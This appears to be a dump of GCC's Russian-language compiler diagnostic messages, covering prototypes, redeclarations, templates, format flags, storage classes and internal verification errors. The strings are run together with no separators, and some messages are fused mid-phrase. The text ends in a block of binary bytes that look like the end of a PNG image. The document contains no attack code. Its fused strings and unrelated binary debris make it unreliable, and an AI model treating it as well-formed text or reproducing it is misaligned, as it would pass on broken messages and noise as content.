аргумент %qD после приведения типа не соответствует встроенному прототипуаргумент %qD после приведения типа не соответствует прототипуциклическая зависимость в протоколе %qsпрототип для %q#D не имеет соответствия в классе %qTв прототипе %q+D объявлен аргумент %d несовместимого типав прототипе для %q+D декларировано меньше аргументов, чем в предшествующем определении в старом стилев прототипе для %q+D декларировано больше аргументов, чем в предшествующем определении в устаревшем стилепрототип %q+D задан после непрототипного определениязадано для %q+Dпсевдо-деструктор не вызываетсятипы квалифицированных функций не могут использоваться для определения свободных функцийтипы квалифицированных функций не могут использоваться для определения статических элементов-функцийквалификаторы не допускаются в декларации %<operator %T%>квалификаторы могут быть заданы только для объектов и функцийдиапазоны в операторе switch не поддерживаются ISO Cдоступный только на чтение элемент %qD использован как выходной операнд %<asm%>доступная только на чтение переменная %qD использована как выходной операнд %<asm%>повторное чтение класса %s из %sчтение по пустому указателю (аргумент %d)рекурсивная inline-подстановкарекурсивный тип %qT неопределенповторная декларация %<enum %E%>повторная декларация %<wchar_t%> с типом %qTповторная декларация %q+D с другой областью видимости (сохранена прежняя область видимости)повторная декларация %q+D без привязкиповторная декларация %qT как не-шаблонаповторная декларация внутреннего типа C++ %qTповторная декларация перечислимого типа %q+Dinline-функции, переопределённые как extern, не подлежат подстановкеповторное определение %<struct %E%>повторное определение %<union %E%>повторное определение %q#Tпереопределение %q+Dповторное определение параметра %q+Dпереопределение typedef %q+Dизбыточная повторная декларация %q+Dизбыточная повторная декларация %qD в той же области видимостиссылка %qs неоднозначна: имеется в интерфейсе %qs и в интерфейсе %qsссылка на %qD противоречивавозвращена ссылка на локальную переменную %q+Dвозвращена ссылка на не-lvalue-выражениерегион %i может содержать throw, но содержится в регионе, который не может содержать throwиспорчен region_array для региона %iимя регистра задано для нерегистровой переменной %q+Dне задано имя регистра для %q+Dрегистр, заданный для %q+D, не годится для этого типа данныхрегистр назначен для двух глобальных регистровых переменныхрегистровая переменная %qD использована во вложенной функциирегистровая переменная %qs использована во вложенной функциирегистры IX, IY и Z использованы в одной инструкцииповторная реализация класса %qsудаление файла .rpoпереименование спецификации %s в %s
переименование файла .rpoповторный %s в форматефайл репозитария '%s' не содержит аргументы командной строкинеявная конверсия из %qT в %qT, запрещенная в C++запрос элемента %qD в %qE, имеющего не классовый тип %qTзапрос элемента %qD неоднозначензапрос элемента %qD неоднозначен в сетке множественного наследованиявыборка элемента %qE из объекта, не являющегося структурой или объединениемзапрошенное выравнивание для %q+D превышает поддерживаемое выравнивание для %wuвыравнивание не является константойвыравнивание не является степенью числа 2выравнивание слишком великозаданный init_priority не является целой константойзаданный init_priority вне диапазоназаданный init_priority зарезервировано для внутреннего использованиязаданная позиция меньше нулязаданная позиция не является целой константойрезультат %<operator->()%> не является указателемвозврат результата отменяет квалификаторы указуемого типадуга return не указывает на конец блока %dнесовместимый тип указателя при возврате результата функциипри возврате результата указатель преобразуется в целое без приведения типапри возврате результата функции целое преобразуется в указатель без приведения типавозврат значения добавляет квалификатор к указателю на функцию без квалификаторовотсутствует барьер после returnтип результата %q#T неполныйпо умолчанию возвращаемый тип функции - %<int%>тип возвращаемого значения не полныйтип результата, вероятно, может быть задан с атрибутом formatвозвращаемое значение функции %q+D - не %<int%>некорректная спецификация возвращаемого типа в конструкторенекорректная спецификация возвращаемого типа в деструкторетип результата задан для %<operator %T%>return со значением в функции, возвращающей 'void'return без значения в функции, возвращающей %qTвозврат результата конструкторавозвращен результат деструкторавозврат ссылки на временную переменнуюточность правой части значенияточность правой части значения в формате strfmonвеличина сдвига вправо больше или равна ширине данного типасдвиг вправо на отрицательное число позицийрежим округления для поддерживается для плавающих вычислений VAXзадайте %<typename %E%>, если подразумевается типв инициализаторе скалярного объекта %qD должен быть только один элементвторой аргумент функции %q+D должен иметь тип %<char **%>второй аргумент %<__builtin_prefetch%> должен быть константойвторой аргумент %<va_start%> не является последним явным аргументоматрибут section для %q+D недопустиматрибут section, заданный для %q+D, противоречит предшествующей декларацииселектор должен быть непосредственным значениемселектор должен быть целой константой в диапазоне 0..%wiустановлен максимальный размер core-файла: %mперекрытие %s функции %q#Dперекрытие предыдущей декларации %q#Dshared и mdll несовместимыразделяемый call_stmt:разделяемый rtl-кодпобочные эффекты не перевычислены после изменения ADDR_EXPRв условном выражении смешаны типы signed и unsignedразмер, присвоенный %qT, может быть несовместим с ABI и может быть изменен в будущих версиях GCCразмер в new для массива должен иметь целочисленный типразмер %q+D равен %d байтразмер %q+D больше %wd байтразмер массива %qD имеет нецелочисленный тип %qTразмер массива %qD отрицательныйразмер массива %qD не является целочисленным константным выражениемразмер массива %qs имеет не целочисленный типразмер массива %qs отрицательныйразмер массива %qs слишком великразмер массива имеет нецелочисленный тип %qTразмер массива отрицательныйразмер массива не является целочисленным константным выражениемразмер цикла %d должен быть %d, а не %dразмер возвращаемого значение %q+D равен %u байтразмер возвращаемого значение %q+D превышает %wd байтразмер переменной %q+D слишком великsizeof(long double) равно 12sizeof(long double) равно 16пока не реализовано: некорректная семантика статических данных %q+#D inline-функции (придётся заводить несколько копий)спецификация '%s' имеет некорректный '%%0%c'спецификация '%s' имеет некорректный '%%W%c'спецификация '%s' имеет некорректный '%%x%c'спецификация '%s' некорректнанедопустимый параметр '%s'ошибка спецификации: элемент '%%*' не инициализирован при сопоставленииошибка спецификации: задано более одного аргумента для SYSROOT_HEADERS_SUFFIX_SPECошибка спецификации: задано более одного аргумента для SYSROOT_SUFFIX_SPECошибка спецификации: неопознанный ключ '%c'в файле спецификаций отсутствует спецификация для компоновкиспецификация '%s'

специализация %qT после конкретизации %qTспециализация %qD в другой namespace-областиспециализация %qT после конкретизацииспециализация %q#T в другой namespace-областизаданный режим слишком мал для значений перечислимого типазадание векторного типа с __attribute__ ((mode)) не будет поддерживаться в будущих версияхнекорректный синтаксис спецификации %%include после %ld символовнекорректный синтаксис спецификации %%rename после %ld символовспецификация %s, которую нужно переименовать, не найденасинтаксис файла спецификаций нарушен после %ld символовнеопознанная команда %% после %ld символовсимвол %<%%%> в конце форматаразмер кадра стека не кратен 8 байтам: %wdразмер кадра стека не кратен 8 байтам: %wdвыражение для границы стека не поддерживаетсяпроверка выхода за границу стека не поддерживается для этой платформыпереполнение стека - операция dup*кадр стека слишком велик: %d байтстандартные преобразования в данном контексте недопустимыоператор помечен как throw в середине блокаоператор помечен как throw, но не является таковымоператор без побочного эффектанедопустимая декларация статического %qs как %<mutable%>static-декларация %q+D после неstatic-декларациив TFP-OS не поддерживается staticстатический элемент %qD не может быть битовым полемстатический элемент %qD объявлен как %<register%>статическая функция-член %q#D объявлена с квалификаторами типаstatic или квалификаторы типа в деклараторе массива, не являющегося статическая переменная %q+D помечена как dllimportстатически размещенный экземпляр класса Objective-C %qsатрибуты stdcall и cdecl несовместимыатрибуты stdcall и fastcall несовместимынекорректный класс хранения %<__thread%> для функции %qsнекорректный класс хранения %<auto%> для функции %qsнекорректный класс хранения %<register%> для функции %qsкласс хранения %qD в конкретизации шаблонадля %qs задан класс хранениякласс хранения в декларации параметра %qsкласс хранения в декларации поля структуры %qsкласс хранения задан для имени типакласс хранения не допускается в декларации friend-функцииспецификаторы класса хранения не допускаются в декларациях параметровразмер %q+D в памяти не является константойразмер %q+D в памяти неизвестенразмер %qD в памяти не является константойразмер %qD в памяти неизвестенв программе обнаружен некорректный символ %<\%o%>в программе обнаружен непарный символ %qcв программе обнаружен непарный символ %qsформаты strftime нельзя использовать для форматирования аргументовстрока имеет длину %qd, превышающую максимальную длину %qd, которую должны поддерживать компиляторы по стандарту ISO C%dstrong имеет смысл только в пределах namespaceперехвачено присваивание со строгим приведением типоввозможно, потребуется строгое приведение типовструктура не содержит элементовструктура не содержит именованных элементовструктура %qD с неинициализированными константными элементамиструктура %qD с неинициализированными элементами-ссылкамивыравнивание структуры должно быть небольшой степенью двойки, а не %dграница размера структуры может быть только %sвключение подсистемы %s конфликтует с включением системыотсутствует индекс массиваиндексируемый объект не является ни массивом, ни указателеминдексируемый элемент является указателем на функциюиндексируемый массив объявлен как %<register%>используйте явные фигурные скобки вокруг пустого тела цикла %<do%>присваивание, используемое как логическое выражение, рекомендуется поддержка моды %qsключ %qs больше не поддерживаетсяключ '%s' не начинается с '-'ключ -mcpu=%s несовместим с ключом -march=в операторе switch задано не целоеоператор switch содержит слишком много (%lu) элементовпуть '%s' в файловой системе не является абсолютнымадрес от временной переменнойвзятие адреса метки не поддерживается ISO C/C++целевой процессор не поддерживает команды THUMBцелевой процессор не поддерживает interworkingцелевой формат не поддерживает бесконечные значенияцелевая платформа не поддерживает вывод отладочной информацииотладочный формат "%s" не поддерживается для этой целевой машинынекорректный аргумент шаблона %dдля %<%s %T%> нужен аргумент-шаблоншаблонная декларация %q#Dзаголовок шаблона недопустим в определении члена явно специализированного классаглубина конкретизации шаблона превышает максимум %d (задайте -ftemplate-depth-NN, чтобы увеличить максимум) при конкретизации %qDпараметры шаблона не могут быть friendпараметры не подходят шаблонупараметры шаблона, являющиеся типами, должны задаваться при помощи ключевых слов %<class%> или %<typename%>идентификатор шаблона %qD использован как деклараторзаданный ключ -g несовместим с -maout и -melinuxфлаг printf ' 'флаг '!' в формате strfmonфлаг printf '#'флаг '#' в формате strftimeфлаг printf '''флаг ''' scanfфлаг '(' в формате strfmonфлаг printf '+'флаг '+' в формате strfmonфлаг printf '-'флаг '-' в формате strfmonфлаг '-' в формате strftimeфлаг printf '0'флаг '0' в формате strftimeмодификатор 'E' в формате strftimeфлаг printf 'I'флаг 'I' scanfмодификатор 'O'модификатор 'O' в формате strftimeфлаг '^' в формате strfmonфлаг '^' в формате strftimeфлаг '_' в формате strftimeфлаг 'a' scanfфлаг 'm' scanfфлаг диагностики 'q'Ключ -shared не поддерживается для VAX ELFподавление присваивания в scanfаргумент по умолчанию для параметра %d %qD еще не был проанализированпервый аргумент %<operator new%> не может иметь значение по умолчаниюдля m210 обратный (little endian) порядок байт не поддерживаетсякодированное имя %qD изменится в будущих версиях GCCсмещение %qD может быть несовместимо с ABI и может быть изменено в будущих версиях GCCразрушаемый тип %qT, а деструктор относится к %qT%qD не имеет аргументов, зависящих от параметра-шаблона, поэтому должна быть доступна декларация %qDтретий аргумент функции %q+D должен, по-видимому, иметь тип %<char **%>третий аргумент %<__builtin_prefetch%> должен быть константойэта десятичная константа является беззнаковой только в ISO C90эта десятичная константа являлась бы беззнаковой только в ISO C90это RTL-инструкция:эта media-функция имеется только в fr500эта машина не имеет задержек переходовподдержка локально-поточных COMMON-данных не реализованалокальная для потока декларация %q+D следует после не локальной для потока декларацииисключительная ситуация NULL имеет целый тип, а не тип указателявремя в %s: %ld.%06ld (%ld%%)
аргумент атрибута tls_model должен быть "local-exec", "initial-exec", "local-dynamic" или "global-dynamic"аргумент атрибута tls_model не является текстовой строкойдля вывода зависимостей нужно задать -M или -MMдля того чтобы сослаться на тип параметра шаблона, используйте конструкцию %<typename %E%>недостаточно аргументов для указанного форматаслишком мало аргументов в %%:version-compareслишком мало аргументов функциислишком мало аргументов в вызове функции %<va_start%>слишком мало аргументов в вызове функции %qEразмер возвращаемого значения функции слишком велик - требуется %d регистров, а имеется только %dслишком поздно установлено имя каталога для отладки в директиве #Слишком много #pragma-ключей align=resetслишком много альтернатив в %<asm%>слишком много аргументов для форматированияслишком много аргументов в %%:version-compareдля функции задано слишком много аргументовслишком много аргументов в вызове функции %qEзадано слишком много имён файлов. Введите %s --help для получения справочной информацииизбыточные элементы в инициализаторе для %qTслишком много входных файловслишком много переходов, исходящих из блока %iимя %qs описано на верхнем уровне с классом хранения %<auto%>в традиционном C инициализация автоматических агрегатных переменных запрещенав традиционном C инициализация объединений запрещенас традиционном С не поддерживается конкатенация строк"трамплины" не поддерживаютсярежим прерываний для поддерживается для плавающих вычислений VAXрежим прерываний не поддерживается для Unicos/Mkдерево: %s, имеется %s в %s, на %s:%dдерево: доступ к элементу %d вектора tree_vec с %d элементами в %s, на %s:%dдерево: доступ к операнду %d функции %s с %d операндами в %s, в %s:%dдерево: ожидался класс %qs, обнаружен %qs (%s) в %s, на %s:%dдерево: не ожидалось ничего из %s, обнаружено %s в %s, на %s:%dлист дерева на глубине %iпопробуйте уменьшить число локальных переменныхпопробуйте убрать скобки вокруг идентификатора типапопробуйте задать %qEне удалось завершить структуру из-за предыдущих грамматических ошибокпопытка сделать класс %qT "другом" глобальной области видимостидва или более типа в декларации имени %qsдва или более типа в декларацииаргумент типа %q#T задан для %<delete%>; должен быть указательтип %q+D имеет неизвестный размертип %qT запрещён в Java %<throw%> или %<catch%>тип %qT не является базовым для типа %qTтип %qT не является производным от %<java::lang::Throwable%>тип %qT не является производным от %qTтип %qs имеет конструктор, определённый пользователемтип %qs имеет деструктор, определённый пользователемтип %qs не имеет подходящего конструкторатип %qs имеет виртуальную функцию-элементв декларации %qs по умолчанию установлен тип %<int%>поддержка данного типа будет исключена в будущих версияхподдержка данного типа будет исключена в будущих версиях (декларация в %s:%d)несоответствие типа между SSA_NAME и символомнесоответствие типов в условном выражениинесоответствие типов с предшествующей внешней декларацией %q#Dпо умолчанию для %q+D принят тип %<int%>тип %qE неизвестентип массива %q+D завершен несовместимым с неявной инициализацией образомневозможно определить тип операнда %qE для оператора asmтип для битового поля %qs является расширением GCCформальный параметр %d имеет неполный типквалификаторы в описании типа возвращаемого значения функции в декларации friend-класса использованы квалификаторы типаразмер типа невозможно вычислить явнотип, заданный в векторном delete, не является ни массивом, ни указателемприведение к неполному типу может нарушить правила перекрытия объектов в памятинесоответствия типа/значения в аргументе %d в списке параметров шаблона для %qDtypedef %q+D декларирован %<inline%>typedef-декларация %qD с инициализацией (используйте конструкцию __typeof__)typedef-декларация не допускается в декларации параметровтипы не вполне совместимыневозможно вычислить фактическое положение параметра в стекеэмуляция %qs невозможнане найден регистр класса %qs для выталкивания в памятьошибка при генерации загрузок операндов на регистры для:не удалось открыть динамическую зависимость '%s'использование '%s' как PIC-регистра невозможнобезусловный переход %2d ни разу не выполнялся
безусловный переход %2d выполнен %s
отсутствует декларация селектора %qsнеопределенный именованный операнд %qsнедополнение виртуального массива %s в %s, в %s:%dнекорректный тип базы в cris_print_baseнекорректный тип индекса в cris_print_indexнекорректный мультипликативный операнднекорректный операнднекорректные побочные эффекты в адресенереализованная функциональностьнеинициализированная константа %qDнепроинициализированная константа в %<new%> от %q#Tне инициализирован константный элемент %qDтрактовка данного объединения как прозрачного невозможнаобъединение без элементовобъединение не содержит именованных элементовнекорректный ключ -m%s=: '%s'некорректный ключ -malign-XXXXX: '%s'некорректный ключ -mdebug-%sНекорректное значение ABI: '%s'некорректная спецификация версии CRIS в -mtune= : %sнекорректная спецификация версии CRIS в -march= или -mcpu= : %sнеопознанное действие %qs в %<#pragma pack%> - действие проигнорированонеизвестный размер массива в операторе deleteнеизвестное значение cc_attrнеопознанный символ преобразования %qc в форматенеопознанный символ преобразования 0x%x в форматенеизвестный стиль декодирования имён '%s'неизвестное поле %qE в инициализаторенекорректный режим инструкциинеизвестная машинный режим %qsнекорректная инструкция перемещения:Неизвестный оператор '%s' в %%:version-compareнеизвестное имя регистра %qs в операторе %<asm%>неизвестное имя регистра: %sнекорректное unspec-перемещениенеизвестная функция '%s' в спецификациинекорректное значение ключа -ftls-model "%s"безымянный инициализатор для %qT, не имеющего базовых классовбезымянный инициализатор для %qT, имеющего множественное наследованиеstruct/union без имени и без описания переменных этого типадекларация безымянной переменной или поля с типом voidненужная EH-дуга %i->%iаргумент неупорядоченного сравнения - не плавающее значениенедостижимый байткод от %d до %dнедостижимый байткод от %d до конца методанекорректная широкая суб-инструкциянекорректный уровень отладочной информации "%s"некорректная RTL-инструкциянекорректный адреснекорректный ключ "%s"некорректный спецификатор форматанекорректный ключ отладки: %cнеопознанный ключ '-%s'некорректное имя регистра "%s"некорректное имя секции "%s"неопознанная константанекорректный тип видимости "%s"невосстанавливаемая ошибканеподдерживаемый аргумент для %<__builtin_frame_address%>неподдерживаемый аргумент для %<__builtin_return_address%>неподдерживаемая комбинация: %sнекорректный размер операнда для расширенного регистранезавершённая альтернатива диалекта ассемблеране терминирована строка форматанеиспользованные аргументы в $-форматепараметр %q+D не используетсянеиспользуемая переменная %q+Dверхняя граница диапазона case-метки больше чем максимальное значение данного типаиспользуйте директиву #includeиспользуйте %<%T::%D%> вместо %<%T::%D%> для именования конструктора в имени с квалификаторомиспользуйте нотацию %<%T::template %D%> для указания о том, что это шаблонзадайте %<-fobjc-exceptions%> для использования синтаксиса исключений Objective-Cдля получения более подробной диагностики задайте -Winvalid-pchиспользуйте вместо него __attribute__ ((vector_size))использование %qs в шаблонемодификатор длины %qs указан с типом %qc%s и %s использованы вместе в формате %s%s и %s использованы с %<%%%c%> в формате %sиспользование шаблона класса %qT в качестве выраженияиспользование перечисления %q#D без предыдущей декларацииболее не рекомендуется использовать входной операнд "память" без lvalue-выражения в операнде asm %dиспользование пространства имён %qD в качестве выраженияиспользование устаревшей конструкции для приведения типамассив, не приводимый к указателю, употреблен в контексте, где допустимо только скалярное значениеструктурное значение употреблено в контексте, где допустимо только скалярное значениеобъединение употреблено в контексте, где допустимо только скалярное значениебесполезное %<__thread%> в пустой декларациибесполезный спецификатор класса хранения в пустой декларациибесполезное имя типа в пустой декларациибесполезный квалификатор типа в пустой декларациипользовательский оператор %qD всегда вычисляет оба аргументаиспользование %<typename%> вне шаблонаиспользование @FILE и нескольких входных файлов не поддерживаетсяиспользование параметра шаблона %qT после %qsиспользование typedef-имени %qD после %qsusing-декларация для не-элемента внутри классаvalidate_value_data: цикл в списке номеров регистров (%u)validate_value_data: [%u] Некорректный next_regno для пустого списка (%u)validate_value_data: : [%u] Некорректный oldest_regno (%u)validate_value_data: [%u] Непустой регистр в списке (%s %u %i)вычисленное значение не используетсязначение ключа -mfixed-range имеет вид РЕГ1-РЕГ2переменная %q#D инициализирована, хотя имеет неполный типпеременная %q+D декларирована со спецификатором %<inline%>определение переменной %q+D помечено dllimportпеременная %q+D может быть испорчена вызовами %<longjmp%> или %<vfork%>переменная %qD инициализирована, хотя имеет неполный типиспользуется массив переменного размера %qDпеременная или поле %qE объявлено voidимя переменной или поля %qs объявлено voidдекларация переменной или поля с типом voidпеременная декларирована сначала как %<static%>, а затем как %<extern%>запрошено отслеживание переменных, но оно не поддерживается этого формата отладочной информацииотслеживание переменных бесполезно без генерации отладочной информациитип переменного размера декларирован вне функцииинициализация объекта %qD переменного размера недопустимаобъект переменного размера нельзя инициализироватьимя переменной или поля %qs объявлено voidвектор %s %s ошибка области определения, в in %s на %s:%uпереполнение при вычислении векторного выраженияразмер вектора не кратен размеру компонентошибка проверки на PC=%d: %sошибка проверки: %sпроцедура verify_cgraph_node выявила ошибкипроцедура verify_eh_tree выявила ошибкипроцедура verify_flow_info выявила ошибкиverify_flow_info: Выходная дуга блока %d поврежденаverify_flow_info: Повторное вхождение дуги %i->%iverify_flow_info: Некорректные блоки для сквозного перехода %i->%iverify_flow_info: Некорректный сквозной переход %i->%iverify_flow_info: REG_BR_PROB не соответствует CFG %wi %iverify_flow_info: Неверный счётчик блоков %i %iverify_flow_info: Некорректный счётчик дуги %i->%i %iverify_flow_info: Неверная частота блока %i %iverify_flow_info: Некорректная вероятность дуги %i->%i %iпроцедура verify_flow_insensitive_alias_info выявила ошибкипроцедура verify_flow_sensitive_alias_info выявила ошибкипроцедура verify_ssa выявила ошибкипроцедура verify_stmts выявила ошибкивиртуальный массив %s[%lu]: элемент %lu вне границ %s, в %s:%dвиртуальная база %qT недоступна в %qT из-за неоднозначностивиртуальные функции не могут быть friend-функциямивиртуальная функция %qs не является элементом классааргумент атрибута visibility должен быть "default", "hidden", "protected" или "internal"аргумент атрибута visibility не является текстовой строкойатрибут видимости не поддерживается в данной конфигурации; определение игнорируетсяиспользование пустого (void) значенияструктура vtable для класса %qT может быть несовместима с ABI и может быть изменена в будущих версиях GCC из-за неявного виртуального деструкторапредупреждение: предупреждение: '-x %s' не имеет смысла за последним входным файломпредупреждение: ключ -pipe игнорируется, т.к. задан ключ -save-tempsпредупреждение: скомпилированные .class файлы игнорируются, если задано -Cпредупреждение: использование устаревшей операции %%[ в specsдля weak декларации %q+D после первого использования поведение системыне специфицированоweak декларация %q+D должна быть publicweak декларация %q+D должна предшествовать определениюweak декларация %q+D не поддерживаетсяслабая ссылка %q+D в конечном счёте направлена на себяпри записи вывода в %s: %mширина поля %q+D превышает ширину его типаразмер поля %qs превышает размер указанного типарассматриваются как возвращающие %<id%> и принимающиев данном контекстезапись в константный объект (аргумент %d)запись по пустому указателю (аргумент %d)некорректное число ветвлений после условного перехода %iнекорректное число ветвлений после безусловного перехода %iнекорректная дуга %d->%d для аргумента PHIнекорректный список immediate useнекорректная RTL-инструкция в сквозной дугедля атрибута %qs задано неверное число аргументовнеправильное число аргументов шаблона (%d, а должно быть %d)некорректные флаги выходной дуги в конце блока %dневерный тип аргумента для absневерный тип аргумента для побитового дополненияневерный тип аргумента для сопряженияневерный тип аргумента декрементацииневерный тип аргумента инкрементацииневерный тип аргумента для унарного `!'неверный тип аргумента для унарного минусаневерный тип аргумента для унарного плюсарезультат - вектор SSE без включения SSE изменяет ABIxstormy16_print_operand: некорректный кодz/Архитектураразмер массива %q+D нулевой или отрицательныйнулевой размер векторанулевая ширина битового поля %q+Dбитовое поле %qs имеет нулевой размернулевая ширина в формате %sформатная строка %s нулевой длинымассив %qD имеет нулевой размер
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`